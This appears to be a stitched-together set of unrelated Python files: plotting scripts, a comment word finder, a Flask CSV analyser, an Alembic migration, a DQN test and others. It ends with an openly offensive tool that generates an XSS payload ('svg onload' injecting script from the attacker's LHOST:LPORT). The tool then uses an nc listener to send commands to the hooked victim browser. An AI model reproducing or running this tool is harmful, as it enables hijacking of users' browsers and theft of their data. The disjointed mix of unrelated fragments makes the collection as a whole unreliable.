    ax.annotate("500 genes", [x+0.5,y], xytext = (5,0), textcoords='offset points', va="center")
    ax.annotate("2000 genes", [x+0.5,y+2], xytext = (5,0), textcoords='offset points', va="center")
    ax.annotate("5000 genes", [x+0.5,y+4], xytext = (5,0), textcoords='offset points', va="center")
    ax.annotate("both", [x+0.5,y+6], xytext = (5,0), textcoords='offset points', va="center")
    ax.annotate("just left", [x+0.5,y+8], xytext = (5,0), textcoords='offset points', va="center")
    ax.annotate("just bottom", [x+0.5,y+10], xytext = (5,0), textcoords='offset points', va="center")

    # Label JTK/compareRhythms sections
    ax.annotate(f"{method} rhythmic", [len(study_order), len(study_order)+1], va="center", ha="right")
    ax.annotate("compareRhythms", [len(study_order)+1, len(study_order)], va="top", ha="center", rotation=90)
    fig.savefig(outdir / f"grid.{method}.png", dpi=300)


import re
import pandas as pd
import argparse

from datetime import datetime

class WordFinder(object):
    def __init__(
        self, load_dir='datasets',
        filename='republican_comments.csv'
    ):
        self.load_path = f'{load_dir}/{filename}'
        self.df = pd.read_csv(self.load_path)

    @staticmethod
    def get_search_regex(word):
        # make sure search word isn't interpreted as part
        # of the regex expression for special chars (/.*+ etc.)
        escaped_word = re.escape(word)
        # match the word only if it has whitespace before it,
        # and it has whitespace after (or it's the last word
        # in the comment). (?i) means search is case-insensitive
        pattern = re.compile(f'\\s(?i){escaped_word}(\\s|$)')
        return pattern

    @staticmethod
    def extract_sentence(comment, start_index, end_index):
        while start_index > 0:
            if comment[start_index] == '.':
                start_index += 1
                break

            start_index -= 1

        while end_index < len(comment) - 1:
            if comment[end_index] == '.':
                break

            end_index += 1

        return comment[start_index:end_index]

    @staticmethod
    def make_stamp():
        date = datetime.now()
        stamp = date.strftime('%y%m%d-%H%M')
        return stamp

    def filter_by_word(self, word):
        regex = self.get_search_regex(word)
        matches = self.df[
            self.df['comment'].str.contains(regex)
        ]
        return matches

    def show_occurrences(self, word, span=40):
        """
        show the relevant snippets of the target word
        for all comments containing said word
        """
        match_df = self.filter_by_word(word)
        regex = self.get_search_regex(word)
        num_matches = len(match_df)

        for k in range(num_matches):
            comment = match_df.iloc[k]['comment']
            match = regex.search(comment)
            start, end = match.span()
            sub_comment = comment[
                max(start-span, 0):end+span
            ]

            print(f'comment [{k}] {start, end}')
            print(sub_comment)
            # print(comment)

        print('')
        print('-' * 40)
        print(f'{num_matches} matches for [{word}]')
        print(f'dataframe = {self.load_path}')
        print(f'span = {span}')

if __name__ == '__main__':
    """
    example command:
    python3 WordFinder.py --word republican --span 100 \
    --df dem-comments-220424-1305.csv
    """
    parser = argparse.ArgumentParser(description='Enter search word.')
    parser.add_argument(
        '--word', action='store', type=str,
        const='free', default='free', nargs='?'
    )
    parser.add_argument(
        '--span', action='store', type=int,
        const=40, default=50, nargs='?'
    )
    parser.add_argument(
        '--dir', action='store', type=str,
        const='datasets', default='datasets', nargs='?'
    )
    default_file = 'republican_comments.csv'
    parser.add_argument(
        '--df', action='store', type=str,
        const=default_file, default=default_file, nargs='?'
    )

    args = parser.parse_args()
    finder = WordFinder(
        load_dir=args.dir, filename=args.df
    )

    # finder.show_occurrences('free', 50)
    finder.show_occurrences(word=args.word, span=args.span)


from typing import AsyncGenerator
from abc import ABC, abstractmethod

import aiohttp
import async_timeout

from app.config import config
from app.bl.exceptions import BLUpstreamError, BLObjectDoesNotExistsError

class AsyncBaseSession(ABC):

    @abstractmethod
    async def _prepare_gen(self) -> AsyncGenerator:
        pass

    async def __aenter__(self):
        self._gen = self._prepare_gen()
        return await self._gen.__anext__()

    async def __aexit__(self, exc_type, exc_val, exc_tb):
        try:
            await self._gen.__anext__()
        except StopAsyncIteration:
            return
        else:
            raise RuntimeError("generator didn't stop")

class AsyncSession(AsyncBaseSession):

    def __init__(self, timeout=10):
        super().__init__()
        self._timeout = timeout

    async def _prepare_gen(self):
        async with aiohttp.ClientSession() as session:
            async with async_timeout.timeout(self._timeout):
                yield session

class AsyncRequest:

    @staticmethod
    async def get(url, timeout=10):
        async with AsyncSession(timeout=timeout) as session:
            async with session.get(url) as response:
                return await response.json()

class GeoService:

    def __init__(self):
        self._url = config.geo_service_url

    async def get_city(self, city_id):
        try:
            return await AsyncRequest.get(f'{self._url}/cities/{city_id}')
        except aiohttp.client_exceptions.ClientConnectorError:
            raise BLUpstreamError('geo service is not available')
        except aiohttp.client_exceptions.ContentTypeError:
            raise BLObjectDoesNotExistsError(f'city with id {city_id} does not exist')


import os
import sys
import argparse
sys.path.append(os.path.join(os.path.dirname(__file__), '../'))

import numpy as np
import datetime

from specvqgan.modules.losses.vggishish.transforms import Crop
from generate_samples_batch import Diffsound

class CropImage(Crop):
    def __init__(self, *crop_args):
        super().__init__(*crop_args)

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='PyTorch Training script')
    parser.add_argument('-m', '--model_path', type=str, default='../../diffsound/diffsound_audioset_audiocaps.pth')
    parser.add_argument('-a', '--audio_path', type=str)
    parser.add_argument('-s', '--save_root', type=str, default=None)
    args = parser.parse_args()

    # 0. Settings
    curr_dir = os.path.dirname(os.path.abspath(__file__))
    config_path = os.path.join(curr_dir, 'caps_text.yaml')
    ckpt_vocoder = os.path.join('/'.join(curr_dir.split('/')[:-1]), 'vocoder/logs/vggsound/')

    # 1. Get the target audio and the model
    diffsound = Diffsound(config=config_path, path=args.model_path, ckpt_vocoder=ckpt_vocoder)
    spec = np.load(args.audio_path)

    # 2. Preprocess spec
    item = {}
    item['input'] = spec

    mel_num=80
    spec_crop_len=848
    transforms = CropImage([mel_num, spec_crop_len], False)

    item = transforms(item)
    image = 2 * item['input'] - 1 # why --> it also expects inputs in [-1, 1] but specs are in [0, 1]
    # image = image[None,:,:]
    spec = image.astype(np.float32)

    # 2. Recon with the VQ-VAE
    save_root = os.path.dirname(args.audio_path) if args.save_root is None else args.save_root
    save_name = os.path.basename(args.audio_path).strip('_mel.npy')
    diffsound.reconstruct_sample(spec, save_root, save_name)


"""first revision

Revision ID: 137f1f3f9660
Revises:
Create Date: 2017-09-27 12:55:37.219930

"""
from alembic import op
import sqlalchemy as sa

# revision identifiers, used by Alembic.
revision = '137f1f3f9660'
down_revision = None
branch_labels = None
depends_on = None

def upgrade():
    # ### commands auto generated by Alembic - please adjust! ###
    op.create_table('image',
    sa.Column('id', sa.Integer(), nullable=False),
    sa.Column('image_url', sa.String(), nullable=False),
    sa.Column('stored_on_server', sa.Boolean(), nullable=True),
    sa.PrimaryKeyConstraint('id')
    )
    op.create_table('station',
    sa.Column('id', sa.Integer(), nullable=False),
    sa.Column('name', sa.VARCHAR(length=30), nullable=False),
    sa.Column('stream_url', sa.VARCHAR(length=200), nullable=False),
    sa.Column('description_html', sa.VARCHAR(length=500), nullable=True),
    sa.Column('cr_tm', sa.DateTime(), nullable=False),
    sa.PrimaryKeyConstraint('id')
    )
    op.create_table('station_image',
    sa.Column('station_id', sa.Integer(), nullable=True),
    sa.Column('image_id', sa.Integer(), nullable=True),
    sa.ForeignKeyConstraint(['image_id'], ['image.id'], ),
    sa.ForeignKeyConstraint(['station_id'], ['station.id'], )
    )
    # ### end Alembic commands ###

def downgrade():
    # ### commands auto generated by Alembic - please adjust! ###
    op.drop_table('station_image')
    op.drop_table('station')
    op.drop_table('image')
    # ### end Alembic commands ###


# Name: Tan Tze Guang
# Class: 13S28
# Date: 7 March 2013
# This program counts the number of word in a sentence

def main():
    print("This program counts number of words in a sentence")
    print("Type in a Sentence: ")
    sentence = input()

    words = sentence.split() # create substring from input sentence
    number = len(words) # counts number of substring

    print("There are", number,"words in this sentence.")

main()


# settings.py
import logging
import os
from pathlib import Path

from dotenv import load_dotenv

env_path = Path('.') / '.env'
if env_path.exists():
    load_dotenv(dotenv_path="./.env")

APP_SETTINGS = {
    "APP_NAME": "squat_machine",
    "LOG_FILE": "logs/squat_machine.json.log",
    "LOG_LEVEL": logging.getLevelName(logging.DEBUG),
}

for k, v in APP_SETTINGS.items():
    c_v = os.getenv("OV_{}".format(k))
    if (bool(c_v and c_v.strip())):
        value = os.getenv("OV_{}".format(k))
        if (APP_SETTINGS[k] == True or APP_SETTINGS[k] == False):
            if (value == 1):
                value = True
            else:
                value = False
        APP_SETTINGS[k] = value


import os
from tablib import Dataset
import pandas
import pygal
from flask import Flask, flash, request, redirect, render_template
from werkzeug.utils import secure_filename

# uploads folder should be exesit
UPLOAD_FOLDER = os.path.join(os.path.dirname(__file__), 'uploads')
ALLOWED_EXTENSIONS = {'CSV','csv'}

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.secret_key = f'_5#y2L"F4Q8z\n\xec]/'

file_name = ""
dataset = Dataset()

@app.route('/')
def hello():
    return render_template('home.html')

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/upload', methods=['POST', 'GET'])
def upload():
    global file_name
    if request.method == 'POST':
        # check if the post request has the file part
        if 'inputFile' not in request.files:
            flash('No file part')
            # print("Not inputFile")
            return redirect(request.url)
        file = request.files['inputFile']
        # if user does not select file, browser also
        # submit an empty part without filename
        if file.filename == '':
            # print("Not selected")
            flash('No selected file')
            return redirect(request.url)
        if file and allowed_file(file.filename):
            filename = secure_filename(file.filename)

            file.save(os.path.join(app.config['UPLOAD_FOLDER'], str(filename)))
            file_name = os.path.join(
                app.config['UPLOAD_FOLDER'], str(filename))

            return redirect("show")

        else:
            flash("That file don't allow to use ")
    return render_template("home.html")

@app.route("/show")
def show():
    global header
    global data
    global option
    if file_name == "":
        return redirect("/")
    else:
        with open(file_name, "r") as line:
            dataset.csv = line.read()
        data = dataset.html
        option = ["mean","sum","max","min","count","median","std","var"]
        header = open(file_name).readline().rstrip()
        print(header)
        if "," in header:
        	header = open(file_name).readline().rstrip().split(",")
        elif " " in header:
        	header = open(file_name).readline().rstrip().split(" ")
        elif "." in header:
        	header = open(file_name).readline().rstrip().split(".")
        else:
        	flash("that header of file not support split ")
        	return redirect("/")

        return render_template("show.html", lines=data, option=option, header=header)

@app.route("/analyze")
def analyze():
    name = request.args.get("myselect")
    option_var = request.args.get("myoption")

    if name not in header:
        flash("please select the header and option")
        return redirect("/")
    elif option_var not in option:
        flash("option not found ")
        return redirect("/")

    df = pandas.read_csv(file_name)
    try:
        if option_var == "mean":
            set_data = df[name].mean()
        elif option_var == "sum":
            set_data = df[name].sum()
        elif option_var == "max":
            set_data = df[name].max()
        elif option_var == "count":
            set_data = df[name].count()
        elif option_var == "std":
            set_data = df[name].std()
        elif option_var == "var":
            set_data = df[name].var()
        elif option_var == "min":
            set_data = df[name].min()
    except:
        flash("pleas make sure use the option with the valid header you can't use some option with string value !")
        return redirect("/")

    imported_data = Dataset().load(open(file_name).read())
    data = imported_data[name]
    new_list = []
    for d in data:
        try:
            if d.isdigit():
                new_list.append(int(d))
            elif type(d) == str:
                new_list.append(float(d))
        except:
            flash("this option only for Number")
            return redirect("/")

    graph = pygal.Line()
    graph.title = "Full customization option For " + str(name)
    graph.x_labels = []
    graph.add(name, new_list)
    graph_data = graph.render_data_uri()

    return render_template("analyze.html", set_data=set_data, option_var=option_var, name=name, graph_data=graph_data)

if __name__ == "__main__":
    app.run(debug=False)


# -*- coding: utf-8 -*-
"""
Created on Mon May 14 19:35:36 2018

@author: mbali
"""

import numpy as np
from matplotlib import pyplot as plt
class advect:
    def __init__(self,npart=300,p=1.0,dy=1.0):
        y=np.zeros(npart)
        y[npart/3:2*npart/3]=1.0;
        self.y=y
        self.p=p
        self.dy=dy
    def get_bc_periodic(self):
        self.y[0]=self.y[-2]
        self.y[-1]=self.y[1]
    def update(self,dt=1.0):
        self.get_bc_periodic()
        delt=self.y[1:]-self.y[0:-1]
        self.y[1:-1]+=self.p*dt/self.dy*delt[1:]

if __name__=='__main__':
    stuff=advect()
    plt.ion()
    plt.plot(stuff.y)
    plt.show()
    for i in range(0,300):
        stuff.update()
        plt.clf()
        plt.plot(stuff.y)
plt.draw()


# -*- coding: utf-8 -*-
"""
Created on Fri Sep 14 13:57:17 2018

@author: 606C
Matplotlib demo
"""
import numpy as np
import matplotlib.pyplot as plt
from scipy.misc import imread, imresize
'''
# Compute the x and y coordinates for points on a sine curve
x = np.arange(0, 3 * np.pi, 0.1)
y = np.sin(x)
# Plot the points using matplotlib
plt.plot(x, y)
plt.show()  # You must call plt.show() to make graphics appear.

# Compute the x and y coordinates for points on sine and cosine curves
x = np.arange(0, 3 * np.pi, 0.1)
y_sin = np.sin(x)
y_cos = np.cos(x)
# Plot the points using matplotlib
plt.plot(x, y_sin)
plt.plot(x, y_cos)
plt.xlabel('x axis label')
plt.ylabel('y axis label')
plt.title('Sine and Cosine')
plt.legend(['Sine', 'Cosine'])
plt.show()

# Compute the x and y coordinates for points on sine and cosine curves
x = np.arange(0, 3 * np.pi, 0.1)
y_sin = np.sin(x)
y_cos = np.cos(x)
# Set up a subplot grid that has height 2 and width 1,
# and set the first such subplot as active.
plt.subplot(2, 1, 1)
# Make the first plot
plt.plot(x, y_sin)
plt.title('Sine')
# Set the second subplot as active, and make the second plot.
plt.subplot(2, 1, 2)
plt.plot(x, y_cos)
plt.title('Cosine')
# Show the figure.
plt.show()

img = imread('cat.jpg')
img_tinted = img * [1, 0.95, 0.9]
# Show the original image
plt.subplot(1, 2, 1)
plt.imshow(img)
# Show the tinted image
plt.subplot(1, 2, 2)
# A slight gotcha with imshow is that it might give strange results
# if presented with data that is not uint8. To work around this, we
# explicitly cast the image to uint8 before displaying it.
plt.imshow(np.uint8(img_tinted))
plt.show()
'''
s = np.arange(0, 10, 0.1)

CR_err_pos = np.log(1+np.exp(-s))
CR_err_neg = np.log(1+np.exp(s))

plt.plot(s,np.log(2)+s*0)
plt.plot(s,CR_err_pos)
plt.plot(s,CR_err_neg)

plt.legend(['ln_2', 'y_and_s_equ','y_and_s_notequ'])
plt.ylabel('error')
plt.xlabel('score')
plt.title('cross-entropy error')
plt.show()


import logging
import re
import codecs
from cgi                      import escape
from exe.webui.blockfactory   import g_blockFactory
from exe.engine.error         import Error
from exe.engine.path          import Path, TempDirPath
from exe.export.pages         import uniquifyNames
from exe.export.ipodpage      import IpodPage

log = logging.getLogger(__name__)

# ===========================================================================
class IpodExport(object):
    """
    IpodExport will export a package as iPod folder tree
    """
    def __init__(self, config, filename):
        """
        'outputDir' is the directory that will be [over]written
        """
        self.config       = config
        self.filename     = Path(filename)
        self.pages        = []

    def export(self, package):
        """
        Export as iPod notes
        """
        outputDir = self.filename
        if not outputDir.exists():
            outputDir.mkdir()
        fileDir = outputDir/"{files}"
        fileDir.mkdir()

        self.pages = [ IpodPage("index", 1, package.root) ]
        self.generatePages(package.root, 1)
        uniquifyNames(self.pages)

        prevPage = None
        thisPage = self.pages[0]

        for nextPage in self.pages[1:]:
            thisPage.save(fileDir, prevPage, nextPage, self.pages)
            prevPage = thisPage
            thisPage = nextPage

        thisPage.save(fileDir, prevPage, None, self.pages)
        self.writeNavigation(outputDir, package)

    def generatePages(self, node, depth):
        """
        Recursively generate pages and store in pages member variable
        for retrieving later
        """
        for child in node.children:
            pageName = child.titleShort.lower().replace(" ", "_")
            pageName = re.sub(r"\W", "", pageName)
            if not pageName:
                pageName = "__"

            self.pages.append(IpodPage(pageName, depth, child))
            self.generatePages(child, depth + 1)

    def writeNavigation(self, outputDir, package):
        html = "<title>%s</title>\n" % escape(package.title)
        for page in self.pages:
            html += '%s%s\n' % (
                    page.name,
                    '  ' * page.depth,
                    page.node.titleShort)

        outfile = codecs.open(outputDir / "index.linx", mode='w',
                encoding='utf-8')
        outfile.write(html)
        outfile.close()


from bokeh.plotting import *

import numpy as np
import time
import datetime as dt
import os
import random

# Define a function that will return an HTML snippet.
def build_plot():
    figure()
    hold()

    #Time initizilation
    To = int(time.time())
    From = To - 86400

    #Go to the sensors directory
    os.chdir('sensors/')

    #Loop throuch all the sensors
    for i in os.listdir(os.getcwd()):
        #hold()
        #some inits
        dates = []
        values = []
        data_dict = {}
        #Change directory to the current sensor
        os.chdir(i)
        #Make a list of the files in the given time seconds back in time
        file_list = [l for l in os.listdir(os.getcwd())]
        #Loop through those files
        for j in file_list:
            #Open the files
            with open(j, 'r') as f:
                #loop through the data
                for k in f:
                    #Split the time and data values
                    split_list = k.split('|')
                    #If the data is within the given time frame,
                    #add it to the dict, the first field is timethe second data
                    if To > int(split_list[0]) > From:
                        data_dict[split_list[0]] = split_list[1]

        #Loop through the created dict
        for key in sorted(data_dict.keys()):
            #Append the lists, List concetation???????????????
            dates.append(dt.datetime.fromtimestamp(int(key)))
            values.append(data_dict[key])
        #Some more configuration of the plot
        #ax.plot_date(dates, values, '-', label='aaa')
        #Change the directory for next sensor
        os.chdir('..')
        line(dates, values, legend=i, x_axis_type='datetime')
    os.chdir('..')
    # Set the output for our plot.

    output_file('plot.html', title='Plot')

    figure()

    # Create some data for our plot.

    x_data = np.arange(1, 101)
    y_data = np.random.randint(0, 101, 100)

    # Create a line plot from our data.

    line(x_data, y_data)

    # Create an HTML snippet of our plot.

    #snippet = curplot().create_html_snippet(embed_base_url='../static/js/', embed_save_loc='./static/js')

    show()

    # Return the snippet we want to place in our page.

    #return snippet

if __name__ == '__main__':
    build_plot()


from dqn import *

def test(max_iter=20000, max_episodes=100):
    env = gym.make("CartPole-v0")
    obs_n = env.observation_space.shape[0]

    render = True

    agent = DQNAgent(
        obs_n = env.observation_space.shape[0],
        act_n = env.action_space.n,
        )

    if os.path.exists("./cartpole_dqn.h5"):
        agent.model.load_weights("./cartpole_dqn.h5")

    for epoch in range(max_episodes):
        score = 0
        state = env.reset()
        state = np.reshape(state, [1, obs_n])
        while score <= max_iter:
            if (render):
                env.render()
            action = agent.choose_action(state)
            next_state, reward, done, _ = env.step(action)
            next_state = np.reshape(next_state, [1, obs_n])

            score += reward
            state = next_state

            if done or score >= max_iter:
                print("(episode: {}; score: {};)".format(epoch, score))
                break

env = gym.make("CartPole-v0")

agent = DQNAgent(
        obs_n = env.observation_space.shape[0],
        act_n = env.action_space.n)

obs_n = env.observation_space.shape[0]
S = env.reset()

S = np.reshape(S, [1, obs_n])

print(agent.model.predict(S))


#GitHub: @t3rabyt3
#Instagram: @1024gigabyte

#!/usr/bin/env python3
import socket
import os
import time
import sys
from subprocess import Popen,PIPE,STDOUT,call

if sys.version_info < (3, 0):
    input = raw_input

white = '\033[1;97m'
green = '\033[1;32m'
red = '\033[1;31m'
yellow = '\033[1;33m'
end = '\033[1;m'
info = '\033[1;33m[!]\033[1;m'
que =  '\033[1;34m[?]\033[1;m'
bad = '\033[1;31m[-]\033[1;m'
good = '\033[1;32m[+]\033[1;m'
run = '\033[1;97m[~]\033[1;m'

print ('''%s
 ____  _____       ____  _     _____ _ _ _____
|  _ \|___ /_   __/ ___|| |__ |___ /| | |___ / _ __
| |_) | |_ \ \ / /\___ \| '_ \  |_ \| | | |_ \| '__|
|  _ < ___) \ V /  ___) | | | |___) | | |___) | |
|_| \_\____/ \_/  |____/|_| |_|____/|_|_|____/|_|

    }========{+}Made By T3rabyt3{+}========{
}========{+}Instagram: @1024gigabyte{+}========{
    }========{+}GitHub: @t3rabyt3{+}========{

''' % red)
o = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
o.connect(("8.8.8.8", 80))
LH = o.getsockname()[0]
o.close()

userinput = input('%s %s%s%s : WANT TO USE THIS LHOST? [Y or N] ' % (que, red, LH, end)).lower()
if userinput == 'n':
    LH = input('%s ENTER YOUR CUSTOM LHOST:- ' % que)
LP = '1337'
userinput = input('%s %s%s%s : WANT TO USE THIS LPORT? [Y or N] ' % (que, red, LP, end)).lower()
if userinput == 'n':
    LP = input('%s ENTER YOUR CUSTOM LPORT:- ' % que)
print (' ')
print (' =======================================')
print ('           PAYLOAD GENERATED' )
print (' =======================================')
print ('           | | | | | | | | | ')
print ('           v v v v v v v v v')
print (' ')
brutelogicpayload = '<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//%s:%s"},100);>\n' % (LH, LP)
print (brutelogicpayload)
print ('%s PAYLOAD EXECUTION PENDING....' % run)

def shell():
    os.system('printf "\033[F\033[0;31m$\033[0m "; read c; echo "$c" | timeout 1 nc -lp %s >/dev/null;' % LP)
    shell()

def status():
    proc=Popen('timeout 1 nc -lp %s' % LP, shell=True, stdout=PIPE, )
    response = str(proc.communicate()[0])
    if 'Accept' in response:
        print (response.replace('\\r\\n', '\n').replace('b\'', '')[:-3])
        print ('\n%s Payload Executed. Enter Commands Now:- \n\n' % good)
        shell()
    else:
        os.system('printf "\033[F"')
        time.sleep(2)
        status()

status()

try:
	status()
	shell()
except KeyboardInterrupt:
	print ('\n' + R + '[!]' + C + ' Keyboard Interrupt.' + W)
	exit()